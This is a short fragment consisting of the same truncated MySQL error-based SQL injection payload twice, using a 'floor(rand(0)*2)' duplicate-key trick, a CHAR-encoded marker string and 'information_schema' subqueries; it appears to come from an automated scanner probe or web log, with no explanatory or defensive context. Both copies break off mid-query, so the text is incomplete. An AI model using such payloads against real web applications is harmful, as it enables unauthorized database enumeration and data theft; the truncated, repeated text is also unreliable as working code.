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and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(108),CHAR(120),CHAR(116),CHAR(112),CHAR(122),CHAR(101),CHAR(97),CHAR(107)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.t

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and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(108),CHAR(120),CHAR(116),CHAR(112),CHAR(122),CHAR(101),CHAR(97),CHAR(107)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.t